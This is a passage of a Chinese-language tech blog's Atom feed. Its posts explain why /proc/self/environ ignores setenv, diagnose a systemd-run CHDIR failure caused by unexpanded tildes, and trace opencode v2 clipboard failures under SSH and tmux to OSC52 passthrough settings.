&lt;tr&gt;&lt;td&gt;机制在 release 存在&lt;&#x2F;td&gt;&lt;td&gt;二进制字符串指纹&lt;&#x2F;td&gt;&lt;td&gt;✅ v2.0.24 命中&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;记忆的来源也清楚了：v1 时代 server 内嵌在 &lt;code&gt;opencode&lt;&#x2F;code&gt; 进程里（老 TUI 的 Worker、
&lt;code&gt;opencode run&lt;&#x2F;code&gt;），工具自然用&quot;启动 opencode 的那个终端&quot;的环境——&quot;终端环境生效&quot;的直觉没错，
只是 v2 把它显式化成了&lt;strong&gt;会话级的环境上传&lt;&#x2F;strong&gt;，并把执行搬进了 daemon。&lt;&#x2F;p&gt;
&lt;p&gt;验证这类问题的方法论和昨天一致：&lt;strong&gt;每一环都要独立证据&lt;&#x2F;strong&gt;——代码看语义、协议看边界、
&lt;code&gt;&#x2F;proc&lt;&#x2F;code&gt; 看活体、API 实验看端到端。凭单一来源（哪怕是源码）下结论，就容易在
&quot;谁的环境&quot;这种边界上记串。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>setenv 后 &#x2F;proc&#x2F;self&#x2F;environ 为何不变：环境变量存哪、会不会 realloc</title>
        <published>2026-10-09T14:10:00+08:00</published>
        <updated>2026-10-09T14:10:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/10/setenv-proc-self-environ/"/>
        <id>https://vercel.juzhong.asia/2026/10/setenv-proc-self-environ/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/10/setenv-proc-self-environ/">&lt;h2 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h2&gt;
&lt;p&gt;Rust 里 &lt;code&gt;std::env::set_var&lt;&#x2F;code&gt; 之后，&lt;code&gt;getenv&lt;&#x2F;code&gt; 能看到，但 &lt;code&gt;&#x2F;proc&#x2F;self&#x2F;environ&lt;&#x2F;code&gt; 里没有：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;unsafe { std::env::set_var(&amp;quot;MY_TEST_FOO&amp;quot;, &amp;quot;hello-from-rust-set_var&amp;quot;) };
println!(&amp;quot;{:?}&amp;quot;, std::env::var(&amp;quot;MY_TEST_FOO&amp;quot;));      &amp;#x2F;&amp;#x2F; Ok(&amp;quot;hello-from-rust-set_var&amp;quot;)
&amp;#x2F;&amp;#x2F; &amp;#x2F;proc&amp;#x2F;self&amp;#x2F;environ 里搜 MY_TEST_FOO -&amp;gt; 无
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;C 的 &lt;code&gt;setenv&lt;&#x2F;code&gt; 同样。反过来，如果&lt;strong&gt;原地改写&lt;&#x2F;strong&gt;原始环境内存里的字节（把 &lt;code&gt;PATH=&lt;&#x2F;code&gt; 首字节改成 &lt;code&gt;X&lt;&#x2F;code&gt;），&lt;code&gt;&#x2F;proc&#x2F;self&#x2F;environ&lt;&#x2F;code&gt; 反而会变成 &lt;code&gt;XATH=&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yuan-yin-ta-shi-nei-he-ji-lu-de-chu-shi-nei-cun-qu-jian&quot;&gt;原因：它是内核记录的初始内存区间&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;execve(2)&lt;&#x2F;code&gt; 时内核把环境字符串放在用户栈上，记下区间 &lt;code&gt;mm-&amp;gt;env_start .. mm-&amp;gt;env_end&lt;&#x2F;code&gt;。读 &lt;code&gt;&#x2F;proc&#x2F;pid&#x2F;environ&lt;&#x2F;code&gt; 时，内核直接 &lt;code&gt;access_remote_vm()&lt;&#x2F;code&gt; 读这段内存。&lt;&#x2F;p&gt;
&lt;p&gt;所以：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;setenv&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;set_var&lt;&#x2F;code&gt; 只在用户态改 &lt;code&gt;environ&lt;&#x2F;code&gt; 指针数组，&lt;strong&gt;从不碰&lt;&#x2F;strong&gt;这段区间 → 文件不变；&lt;&#x2F;li&gt;
&lt;li&gt;有人往这段区间原地写字节 → 文件跟着变；&lt;&#x2F;li&gt;
&lt;li&gt;文件只反映 &lt;code&gt;execve&lt;&#x2F;code&gt; 那一刻的环境，&lt;code&gt;setenv&lt;&#x2F;code&gt; 的改动永远看不见（&lt;code&gt;prctl(PR_SET_MM_ENV_START&#x2F;END)&lt;&#x2F;code&gt; 可移动该区间）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;顺带：&lt;code&gt;&#x2F;proc&#x2F;self&lt;&#x2F;code&gt; 里的 &lt;code&gt;self&lt;&#x2F;code&gt; 是&lt;strong&gt;执行 &lt;code&gt;open()&lt;&#x2F;code&gt; 的那个进程&lt;&#x2F;strong&gt;。所以在程序内部读它是自己，在 shell 里 &lt;code&gt;cat &#x2F;proc&#x2F;self&#x2F;environ&lt;&#x2F;code&gt; 读的却是 &lt;code&gt;cat&lt;&#x2F;code&gt; 自己的（继承了 shell 的环境），要测目标进程得用它真实的 pid 或在其内部读。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;huan-jing-bian-liang-cun-zai-na-hui-bu-hui-realloc&quot;&gt;环境变量存在哪、会不会 realloc&lt;&#x2F;h2&gt;
&lt;p&gt;C 层就是全局 &lt;code&gt;char **environ&lt;&#x2F;code&gt;：一个 &lt;code&gt;NULL&lt;&#x2F;code&gt; 结尾的指针数组，每个元素指向一个 &lt;code&gt;KEY=VALUE\0&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;初始&lt;&#x2F;strong&gt;：指针数组和字符串都在内核建好的栈上；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;第一次 &lt;code&gt;setenv&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;：指针数组被拷到堆，&lt;code&gt;environ&lt;&#x2F;code&gt; 改指堆；没动过的字符串仍留在栈上；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;新变量&lt;&#x2F;strong&gt;：每次对 &lt;code&gt;KEY=VALUE&lt;&#x2F;code&gt; 做一次 &lt;code&gt;malloc&lt;&#x2F;code&gt;，放堆上。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;指针数组的增长看 glibc 2.41 的 &lt;code&gt;stdlib&#x2F;setenv.c&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;if (__environ_array_list == NULL
    || __environ_array_list-&amp;gt;allocated * 2 &amp;lt; required_size)
  new_size = required_size + 16;      &amp;#x2F;&amp;#x2F; 缺口大：按需 +16
else
  new_size = __environ_array_list-&amp;gt;allocated * 2;   &amp;#x2F;&amp;#x2F; 否则翻倍
char **new_array = calloc (new_size, sizeof (*new_array));  &amp;#x2F;&amp;#x2F; 不是 realloc
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结论：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;会重新分配&lt;&#x2F;strong&gt;，但现代 glibc 是 &lt;code&gt;calloc&lt;&#x2F;code&gt; 新数组 + 拷贝再改指向（老版本才用 &lt;code&gt;realloc&lt;&#x2F;code&gt;）；增长是&lt;strong&gt;近似翻倍&lt;&#x2F;strong&gt;，不是每加一个搬一次。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;旧数组不释放&lt;&#x2F;strong&gt;，挂在 &lt;code&gt;__environ_array_list&lt;&#x2F;code&gt; 上直到进程退出（应用可能还持有旧 &lt;code&gt;environ&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;li&gt;glibc 用一棵 &lt;code&gt;tsearch&lt;&#x2F;code&gt; 树缓存见过的 &lt;code&gt;KEY=VALUE&lt;&#x2F;code&gt;：反复设为&lt;strong&gt;相同值&lt;&#x2F;strong&gt;会复用旧串、释放临时串，不会无限涨；反复设&lt;strong&gt;不同值&lt;&#x2F;strong&gt;则旧串有意保留、内存持续增长。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;实测（&lt;code&gt;env -i PATH=... TERM=xterm&lt;&#x2F;code&gt; 启动）：第一次 &lt;code&gt;setenv&lt;&#x2F;code&gt; 时数组地址从栈 &lt;code&gt;0x7fff...&lt;&#x2F;code&gt; 跳到堆 &lt;code&gt;0x558b...&lt;&#x2F;code&gt;，加到第 17 个变量时再次翻倍搬移，与源码里的翻倍公式吻合。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;rust-ce-zhi-shi-zhuan-fa&quot;&gt;Rust 侧只是转发&lt;&#x2F;h2&gt;
&lt;p&gt;Rust std（&lt;code&gt;sys&#x2F;pal&#x2F;unix&#x2F;os.rs&lt;&#x2F;code&gt;）直接调 libc，自己只加了一把锁：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;pub unsafe fn setenv(k: &amp;amp;OsStr, v: &amp;amp;OsStr) -&amp;gt; io::Result&amp;lt;()&amp;gt; {
    let _guard = ENV_LOCK.write();
    cvt(libc::setenv(k.as_ptr(), v.as_ptr(), 1)).map(drop) &amp;#x2F;&amp;#x2F; overwrite = 1
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所以上面关于栈&#x2F;堆、realloc、&lt;code&gt;&#x2F;proc&lt;&#x2F;code&gt; 的结论对 Rust 完全适用。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-jian&quot;&gt;实践&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;想把环境传给子进程，用 &lt;code&gt;Command::env&lt;&#x2F;code&gt;；&lt;code&gt;set_var&lt;&#x2F;code&gt; 只影响本进程的 &lt;code&gt;getenv&lt;&#x2F;code&gt; 和之后 &lt;code&gt;exec&lt;&#x2F;code&gt; 的继承。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;std::env::set_var&lt;&#x2F;code&gt; 在较新 Rust 中是 &lt;code&gt;unsafe&lt;&#x2F;code&gt;（跨线程调用有数据竞争），且非 async-signal-safe。&lt;&#x2F;li&gt;
&lt;li&gt;运行中大量设置&lt;strong&gt;不同&lt;&#x2F;strong&gt;的环境变量，字符串会持续 &lt;code&gt;malloc&lt;&#x2F;code&gt; 且旧串不回收，内存会涨。&lt;&#x2F;li&gt;
&lt;li&gt;想刷新 &lt;code&gt;&#x2F;proc&#x2F;self&#x2F;environ&lt;&#x2F;code&gt;，只能重新 &lt;code&gt;execve&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>systemd-run --working-directory 的 ~ 不展开：一次 status=200&#x2F;CHDIR 排查</title>
        <published>2026-10-09T00:00:00+00:00</published>
        <updated>2026-10-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/10/systemd-run-working-directory-chdir/"/>
        <id>https://vercel.juzhong.asia/2026/10/systemd-run-working-directory-chdir/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/10/systemd-run-working-directory-chdir/">&lt;h2 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h2&gt;
&lt;p&gt;一条很普通的 &lt;code&gt;systemd-run --user&lt;&#x2F;code&gt; 后台服务命令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemd-run --user --working-directory=~&amp;#x2F;project&amp;#x2F;agent-code&amp;#x2F; --unit opencode \
  --setenv OPENCODE_SERVER_PASSWORD=&amp;quot;&amp;lt;密码&amp;gt;&amp;quot; \
  ~&amp;#x2F;.opencode&amp;#x2F;bin&amp;#x2F;opencode serve --hostname 192.168.5.68 --port 4096
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;systemd-run&lt;&#x2F;code&gt; 本身不报任何错，正常打印 &lt;code&gt;Running as unit: opencode.service&lt;&#x2F;code&gt;，但服务立刻挂掉。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pai-cha&quot;&gt;排查&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;console&quot; class=&quot;language-console &quot;&gt;&lt;code class=&quot;language-console&quot; data-lang=&quot;console&quot;&gt;$ systemctl --user status opencode --no-pager -l
× opencode.service - [systemd-run] &amp;#x2F;home&amp;#x2F;peter&amp;#x2F;.opencode&amp;#x2F;bin&amp;#x2F;opencode serve ...
     Loaded: loaded (&amp;#x2F;run&amp;#x2F;user&amp;#x2F;1000&amp;#x2F;systemd&amp;#x2F;transient&amp;#x2F;opencode.service; transient)
  Transient: yes
     Active: failed (Result: exit-code) since Fri 2026-10-09 12:01:35 CST; 2min 15s ago
   Duration: 32ms
    Process: 3358420 ExecStart=&amp;#x2F;home&amp;#x2F;peter&amp;#x2F;.opencode&amp;#x2F;bin&amp;#x2F;opencode serve ... (code=exited, status=200&amp;#x2F;CHDIR)
  Main PID: 3358420 (code=exited, status=200&amp;#x2F;CHDIR)

10月 09 12:01:35 debian13 (opencode)[3358420]: opencode.service: Changing to the requested working directory failed: No such file or directory
10月 09 12:01:35 debian13 (opencode)[3358420]: opencode.service: Failed at step CHDIR spawning &amp;#x2F;home&amp;#x2F;peter&amp;#x2F;.opencode&amp;#x2F;bin&amp;#x2F;opencode: No such file or directory
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;两个疑点：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;目录明明存在&lt;&#x2F;strong&gt;：&lt;code&gt;ls -ld ~&#x2F;project&#x2F;agent-code&#x2F;&lt;&#x2F;code&gt; 输出正常，&lt;code&gt;drwxrwxr-x&lt;&#x2F;code&gt; 权限也没问题；&lt;&#x2F;li&gt;
&lt;li&gt;同一条命令里，二进制路径 &lt;code&gt;~&#x2F;.opencode&#x2F;bin&#x2F;opencode&lt;&#x2F;code&gt; 显然展开成功了——unit 描述里已经是 &lt;code&gt;&#x2F;home&#x2F;peter&#x2F;.opencode&#x2F;bin&#x2F;opencode&lt;&#x2F;code&gt;，偏偏 &lt;code&gt;--working-directory=&lt;&#x2F;code&gt; 后面的没展开。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;yuan-yin-de-zhan-kai-gui-ze-bi-xiang-xiang-zhong-ke-ke&quot;&gt;原因：&lt;code&gt;~&lt;&#x2F;code&gt; 的展开规则比想象中苛刻&lt;&#x2F;h2&gt;
&lt;p&gt;shell 对 &lt;code&gt;~&lt;&#x2F;code&gt; 的 tilde expansion 只发生在两种位置：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;单词开头&lt;&#x2F;strong&gt;（&lt;code&gt;~&#x2F;.opencode&#x2F;bin&#x2F;opencode&lt;&#x2F;code&gt;）——所以二进制路径展开成功；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;真正的赋值上下文&lt;&#x2F;strong&gt;（&lt;code&gt;X=~&#x2F;x&lt;&#x2F;code&gt;、&lt;code&gt;export X=~&#x2F;x&lt;&#x2F;code&gt;、命令前缀赋值 &lt;code&gt;X=~&#x2F;x cmd&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;而 &lt;code&gt;--working-directory=~&#x2F;project&#x2F;agent-code&#x2F;&lt;&#x2F;code&gt; 这个单词以 &lt;code&gt;--&lt;&#x2F;code&gt; 开头，&lt;code&gt;=&lt;&#x2F;code&gt; 前面是 &lt;code&gt;-&lt;&#x2F;code&gt;，&lt;strong&gt;不是合法的变量名&lt;&#x2F;strong&gt;，shell 不认为它是赋值样式单词，&lt;code&gt;~&lt;&#x2F;code&gt; 原样透传。systemd 拿到字面量 &lt;code&gt;~&#x2F;project&#x2F;agent-code&#x2F;&lt;&#x2F;code&gt;，而 systemd 侧（包括 unit 文件）&lt;strong&gt;从不做任何 &lt;code&gt;~&lt;&#x2F;code&gt; 展开&lt;&#x2F;strong&gt;，CHDIR 一个叫 &lt;code&gt;~&lt;&#x2F;code&gt; 的目录自然 ENOENT。&lt;&#x2F;p&gt;
&lt;p&gt;四个 shell 实测矩阵（2026-10，bash 5.2 &#x2F; zsh 5.9 &#x2F; dash 0.5.12）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;写法&lt;&#x2F;th&gt;&lt;th&gt;bash&lt;&#x2F;th&gt;&lt;th&gt;zsh&lt;&#x2F;th&gt;&lt;th&gt;sh&#x2F;dash&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;~&#x2F;x&lt;&#x2F;code&gt;（词首）&lt;&#x2F;td&gt;&lt;td&gt;✅ 展开&lt;&#x2F;td&gt;&lt;td&gt;✅ 展开&lt;&#x2F;td&gt;&lt;td&gt;✅ 展开&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;--opt=~&#x2F;x&lt;&#x2F;code&gt;（命令参数）&lt;&#x2F;td&gt;&lt;td&gt;❌ 不展开&lt;&#x2F;td&gt;&lt;td&gt;❌ 不展开&lt;&#x2F;td&gt;&lt;td&gt;❌ 不展开&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;VAR=~&#x2F;x&lt;&#x2F;code&gt;（命令参数）&lt;&#x2F;td&gt;&lt;td&gt;✅ 展开&lt;&#x2F;td&gt;&lt;td&gt;❌ 不展开&lt;&#x2F;td&gt;&lt;td&gt;❌ 不展开&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;真赋值 &lt;code&gt;X=~&#x2F;x&lt;&#x2F;code&gt; &#x2F; 前缀赋值&lt;&#x2F;td&gt;&lt;td&gt;✅ 展开&lt;&#x2F;td&gt;&lt;td&gt;✅ 展开&lt;&#x2F;td&gt;&lt;td&gt;✅ 展开&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;第二、三行是容易踩的组合坑：bash 会把「长得像赋值」的参数做 tilde 展开（&lt;code&gt;echo VAR=~&#x2F;bin&lt;&#x2F;code&gt; 能展开），让人误以为 &lt;code&gt;=&lt;&#x2F;code&gt; 后面的 &lt;code&gt;~&lt;&#x2F;code&gt; 都能展开；但 &lt;code&gt;--opt=~&#x2F;x&lt;&#x2F;code&gt; 因为 &lt;code&gt;=&lt;&#x2F;code&gt; 前带连字符不属于合法标识符，&lt;strong&gt;任何 shell 都不展开&lt;&#x2F;strong&gt;。别赌 shell 行为，这类位置一律别用 &lt;code&gt;~&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;顺带解读一下 &lt;code&gt;status=200&#x2F;CHDIR&lt;&#x2F;code&gt;：systemd 把 200+ 的退出码留给自身 exec 流程各步骤的失败标记（200=CHDIR，201=NICE，202=FDS，203=EXEC……），最出名的是 203&#x2F;EXEC——shell 脚本没写 shebang 时报的那个。看到 &lt;code&gt;200&#x2F;CHDIR&lt;&#x2F;code&gt; 就直接指向 &lt;code&gt;WorkingDirectory&lt;&#x2F;code&gt; 不可达，与程序本身无关。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jie-jue&quot;&gt;解决&lt;&#x2F;h2&gt;
&lt;p&gt;推荐直接用绝对路径：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemd-run --user --working-directory=&amp;#x2F;home&amp;#x2F;peter&amp;#x2F;project&amp;#x2F;agent-code --unit opencode \
  --setenv OPENCODE_SERVER_PASSWORD=&amp;quot;&amp;lt;密码&amp;gt;&amp;quot; \
  ~&amp;#x2F;.opencode&amp;#x2F;bin&amp;#x2F;opencode serve --hostname 192.168.5.68 --port 4096
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不想写死用户名可以用 &lt;code&gt;$HOME&lt;&#x2F;code&gt;（参数展开发生在单词任意位置，不受 tilde 规则限制）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemd-run --user --working-directory=&amp;quot;$HOME&amp;#x2F;project&amp;#x2F;agent-code&amp;quot; --unit opencode ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;fu-keng-shi-bai-de-transient-unit-zhan-yong-unit-ming&quot;&gt;附坑：失败的 transient unit 占用 unit 名&lt;&#x2F;h2&gt;
&lt;p&gt;修复后直接重跑 &lt;code&gt;systemd-run --unit opencode ...&lt;&#x2F;code&gt; 会再吃一记：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;console&quot; class=&quot;language-console &quot;&gt;&lt;code class=&quot;language-console&quot; data-lang=&quot;console&quot;&gt;$ systemd-run --user --unit opencode ...
Failed to start transient service unit: Unit opencode.service was already loaded or has a fragment file.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;失败的 transient unit 仍占着名字，先清掉再跑：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemctl --user reset-failed opencode.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;systemd-run&lt;&#x2F;code&gt; 报 &lt;code&gt;status=200&#x2F;CHDIR&lt;&#x2F;code&gt; 时第一件事：&lt;code&gt;systemctl --user status&lt;&#x2F;code&gt; 看日志里实际收到的 &lt;code&gt;WorkingDirectory&lt;&#x2F;code&gt; 路径，&lt;code&gt;~&lt;&#x2F;code&gt; 没展开是最常见原因；&lt;&#x2F;li&gt;
&lt;li&gt;shell 的 tilde expansion 只认「词首」和「真赋值上下文」，&lt;code&gt;--长选项=~&#x2F;x&lt;&#x2F;code&gt; 在所有主流 shell 都不展开——给程序传的路径参数一律用绝对路径或 &lt;code&gt;$HOME&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;transient unit 失败后名字会被占用，&lt;code&gt;reset-failed&lt;&#x2F;code&gt; 清理后再重跑。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>SSH + tmux 下 opencode v2 复制静默失效：OSC52 与 wl-copy 双路径多方验证记</title>
        <published>2026-10-08T00:00:00+00:00</published>
        <updated>2026-10-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/10/opencode-osc52-clipboard-diagnosis/"/>
        <id>https://vercel.juzhong.asia/2026/10/opencode-osc52-clipboard-diagnosis/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/10/opencode-osc52-clipboard-diagnosis/">&lt;h2 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h2&gt;
&lt;p&gt;SSH 到远程 Linux 机器上开发，环境是&quot;全家桶&quot;：X11 转发（&lt;code&gt;DISPLAY=localhost:11.0&lt;&#x2F;code&gt;）+
waypipe 转发 Wayland（&lt;code&gt;WAYLAND_DISPLAY=wayland-HdnS4jlM&lt;&#x2F;code&gt;）+ tmux 3.5a。
本地终端 kitty。在 opencode v2.0.24 TUI 里按复制（&lt;code&gt;ctrl+x&lt;&#x2F;code&gt; 然后 &lt;code&gt;y&lt;&#x2F;code&gt;）：
toast 提示 &quot;Copied to clipboard&quot;，但&lt;strong&gt;本地剪贴板是空的&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;环境变量看起来都&quot;正确&quot;，&lt;code&gt;wl-copy&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;xclip&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;xsel&lt;&#x2F;code&gt; 都装着，tmux &lt;code&gt;set-clipboard&lt;&#x2F;code&gt; 也是 &lt;code&gt;on&lt;&#x2F;code&gt;。
为什么复制就是不通？&lt;&#x2F;p&gt;
&lt;p&gt;先给结论，再给多方验证过程。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tl-dr-duan-lian-de-wan-zheng-yin-guo&quot;&gt;TL;DR：断链的完整因果&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;opencode v2.0.24 按复制
  └─ 跨终端边界的只有 OSC52 转义序列(二进制里没有 wl-copy&amp;#x2F;xclip&amp;#x2F;clipboardy,0 命中,
  │   也不会 spawn 任何外部剪贴板工具——见第二层与验证矩阵)
      └─ opentui 检测到 tmux 3.5a &amp;lt; 3.6 → 判定 &amp;quot;legacy tmux&amp;quot;
          └─ OSC52 被强制包进 DCS 透传信封 \ePtmux;...(不再发送原生序列)
              └─ tmux 默认 allow-passthrough off
                  └─ 信封被【静默丢弃】→ 复制无声失败,但 toast 照样弹
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;2026-10-09 勘误&lt;&#x2F;strong&gt;:初版写&quot;复制只有一条路&quot;。不准确——写入策略是
&lt;code&gt;destination: &quot;all-available&quot;&lt;&#x2F;code&gt; 双腿并行(host 原生剪贴板 + terminal OSC52),
但 host 腿在终端被判为 &lt;code&gt;remote&lt;&#x2F;code&gt;(SSH&#x2F;能力未知时&lt;strong&gt;默认 true&lt;&#x2F;strong&gt;)时直接
&lt;code&gt;not-attempted&lt;&#x2F;code&gt;,所以在 SSH+tmux 场景&lt;strong&gt;实际出门的只有 OSC52&lt;&#x2F;strong&gt;,因果链不变。
详见第二层。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;修复只需一行（tmux 会话内立即生效 + 写入 &lt;code&gt;~&#x2F;.tmux.conf&lt;&#x2F;code&gt; 持久化）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tmux set-option -g allow-passthrough on
echo &amp;#x27;set -g allow-passthrough on&amp;#x27; &amp;gt;&amp;gt; ~&amp;#x2F;.tmux.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而&quot;网上资料说不需要开透传&quot;的说法，只对&lt;strong&gt;发送原生 OSC52&lt;&#x2F;strong&gt; 的程序（如 Neovim）成立；
tmux 原生转发的可靠性问题是 opentui 弃用这条路径的原因，下文有实验数据。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-yi-ceng-fu-zhi-dao-di-zai-na-ge-jin-cheng-zhi-xing&quot;&gt;第一层：复制到底在哪个进程执行&lt;&#x2F;h2&gt;
&lt;p&gt;opencode v2 是客户端-服务端架构，但&lt;strong&gt;剪贴板完全在 TUI 客户端进程内执行&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;packages&#x2F;tui&#x2F;src&#x2F;clipboard.ts&lt;&#x2F;code&gt; 只被 TUI 组件导入；server 包全文 grep &lt;code&gt;wl-copy|xclip|writeOsc52&lt;&#x2F;code&gt; 零命中；&lt;&#x2F;li&gt;
&lt;li&gt;TUI 通过 &lt;code&gt;createOpencodeClient&lt;&#x2F;code&gt; 以 HTTP&#x2F;SSE 连接后台服务，是纯客户端；&lt;&#x2F;li&gt;
&lt;li&gt;你在 shell 里敲 &lt;code&gt;opencode&lt;&#x2F;code&gt; 启动的那个进程本身就是 TUI，OSC52 写到它自己的 stdout。
剪贴板还有一条 host 腿，但它是&lt;strong&gt;进程内&lt;&#x2F;strong&gt;的 Zig 原生客户端（Wayland 走
&lt;code&gt;zwlr_data_control&lt;&#x2F;code&gt; 协议、X11 走选区协议），&lt;strong&gt;不 spawn 任何外部工具&lt;&#x2F;strong&gt;。
（2026-10-09 复测：成功复制后 &lt;code&gt;pgrep xclip &#x2F; wl-copy &#x2F; wl-paste&lt;&#x2F;code&gt; 零残留。）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所以&quot;复制在 server 端、要重启 server 才能更新 &lt;code&gt;WAYLAND_DISPLAY&lt;&#x2F;code&gt;&quot;是常见误解——
重启 TUI 客户端就够，server 的环境变量与复制无关。
